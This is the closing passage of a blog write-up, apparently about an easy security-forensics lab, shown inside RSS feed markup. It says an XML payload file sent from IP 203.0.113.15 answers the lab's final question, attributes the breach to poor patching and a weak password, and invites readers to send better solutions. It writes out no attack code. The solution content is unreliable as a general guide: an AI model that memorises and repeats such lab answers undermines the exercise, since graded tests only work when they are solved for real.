src="https://cdn-images-1.medium.com/max/821/1*0gIyZfSH3VcYmwpvRoMZ3w.png" /><figcaption>Someone really likes novels.</figcaption></figure><p>As you can see, the payload for the XML file is a file that is being sent from IP-address 203.0.113.15. This file is the correct answer to the 7th and final question of this lab.</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zOflzOHZNGaqx4uW2kNCg.png" /></figure><p>So once again, someone did not do their patching and/or hardening properly, and an attacker was able to gain access to systems based on that. Seriously though, that password was almost insulting. Get your security in order, or hackers will happily steal your data or worse.</p><p>None of these questions turned out to be really difficult — it’s an Easy lab after all, but I found the lab doable, and you can definitely find the answers if you have some basic knowledge of protocols and ways attackers can gain access to your systems.</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f71e8049aec" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>